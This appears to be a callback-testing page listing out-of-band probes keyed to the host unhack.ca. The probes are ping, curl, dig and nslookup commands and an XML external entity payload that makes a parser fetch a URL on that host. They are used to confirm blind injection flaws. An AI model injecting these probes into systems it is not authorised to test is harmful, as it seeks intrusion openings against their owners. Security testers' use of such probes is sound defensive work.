$ ping -c1 -p 00fb437b3158f5f0ea43b03517310f00 unhack.ca
 

$ curl http://unhack.ca/p/fb437b3158f5f0ea43b03517310f
 

$ dig fb437b3158f5f0ea43b03517310f @unhack.ca
 

$ dig fb437b3158f5f0ea43b03517310f.ns.unhack.ca
 

C:\> nslookup fb437b3158f5f0ea43b03517310f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fb437b3158f5f0ea43b03517310f">]>
    <foo>&xxe;</foo>